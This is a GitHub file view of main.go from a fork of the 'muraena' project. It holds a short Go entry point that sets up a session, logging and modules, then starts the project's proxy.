forked from muraenateam/muraena
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.go
39 lines (30 loc) · 778 Bytes
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package main
import (
"fmt"
"os"
"github.com/muraenateam/muraena/core/proxy"
"github.com/muraenateam/muraena/log"
"github.com/muraenateam/muraena/module"
"github.com/muraenateam/muraena/session"
"github.com/evilsocket/islazy/tui"
)
func main() {
sess, err := session.New()
if err != nil {
fmt.Println(err)
os.Exit(1)
}
if !tui.Effects() {
if *sess.Options.NoColors {
fmt.Printf("\n\nWARNING: Terminal colors have been disabled, view will be very limited.\n\n")
} else {
fmt.Printf("\n\nWARNING: This terminal does not support colors, view will be very limited.\n\n")
}
}
// Init Log
log.Init(sess.Options, sess.Config.Log.Enabled, sess.Config.Log.FilePath)
// Load all modules
module.LoadModules(sess)
// Run Muraena
proxy.Run(sess)
}